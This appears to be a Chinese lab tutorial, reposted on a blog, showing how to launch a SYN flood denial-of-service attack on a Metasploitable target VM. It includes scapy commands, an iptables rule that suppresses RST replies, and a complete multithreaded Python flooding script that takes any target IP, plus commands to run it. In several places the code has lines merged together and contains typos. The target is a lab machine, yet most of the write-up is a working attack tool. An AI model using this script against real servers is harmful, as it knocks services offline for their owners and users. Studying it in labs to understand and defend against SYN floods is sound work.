DDos攻击
对 metasploitable 靶机进行 Dos 攻击
(1)kali虚拟机(python版本为3.6及以上)
(2)metasploitable靶机
四、实验步骤:(1)查看metasploitable靶机IP:
(2)在SYN FLOOD攻击发起之前,需要正常访问服务器上的web服务:
(3)打开wireshark对靶机进行抓包:
(4)在攻击开始之前,首先要发送阻断第三次客户端想服务端发的ack数据包,确保数据包正确:
命令:
scapy
i = IP()
i.dst = "192.168.32.129"
t = TCP()
t.dport = 80
sr1(i/t,verbose=1,timeout=2)
执行命令后观察抓包情况:
可以看到目标服务器成功给我们返回SYN+ACK数据包,但是第三个数据包确实RST数据包而不是ACK数据包。原因:一开始的SYN数据包是我们使用scapy发出的,并不是 *** 作系统自己主动发出的,所以当 *** 作系统收到一个SYN+ACK数据包时,它会认为这个连接不是我发出的,就会主动拒绝连接,并返回RST数据包。
(5)使用Linux下的iptables命令禁止系统自动给目标发送RST数据包,从而达到建立半开连接的效果:
命令:
iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 192.168.32.129 -j DROp
(6)创建SYN FLOOP攻击脚本:
(7)编辑脚本并保存:
代码如下:
#!/usr/bin/python
#coding:utf-8from scapy.all import *
from time import sleep
import _thread
import randomdef syn_flood(target,port):
while 1:
rand = random.randint(0,65535)
send(IP(dst=target)/TCP(dport=port,sport=rand),verbose=0)def main():
if len(sys.argv) != 4:
print("参数错误,用法如下:")
print("python syn_flood.py [IP] [port] [threadcount]")
sys.exit()target = sys.argv[1]
port = int(sys.argv[2])
thread_count = int(sys.argv[3])
print("SYN Flood start,press Ctrl+C to stop.")
for i in range(thread_count):
_thread.start_new_thread(syn_flood,(target,port))
while 1:
sleep(1)if __name__ == "__main__":
main()
(8)更新python(3.6版本及以上)
命令:
查看python版本号:
python -V
更新python:
update-alternatives --install /usr/bin/python python /usr/bin/python3 150
(9)安装python管理工具pip:
命令:
wget https://bootstrap.pypa.io/get-pip.py
python get-pip.py
(10)安装scapy:
命令:
pip install scapy-python3
(11)执行SYN FLOOP攻击脚本:
命令:
python syn_flood.py IP 端口号 线程数
(12)再次打开wireshark抓包,可以看到抓取到大量SYN请求数据包,而且已经没有RST数据包了:
(13)在metasploitable靶机上查看已建立的SYN连接数:
命令:
netstat -pantu | grep SYN
此时可以看到已经建立了大量连接。
五、实验总结:SYN FLOOD攻击的原理:
阻断TCP三次握手的第三次ACK包,即不对服务器发送的SYN+ACK数据包做出应答。由于服务器没有收到客户端发来的确认响应,就会一直保持连接直到超时,当有大量这种半开连接建立时,即造成SYN Flood攻击。
感兴趣的小伙伴赶快去尝试一下吧!
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)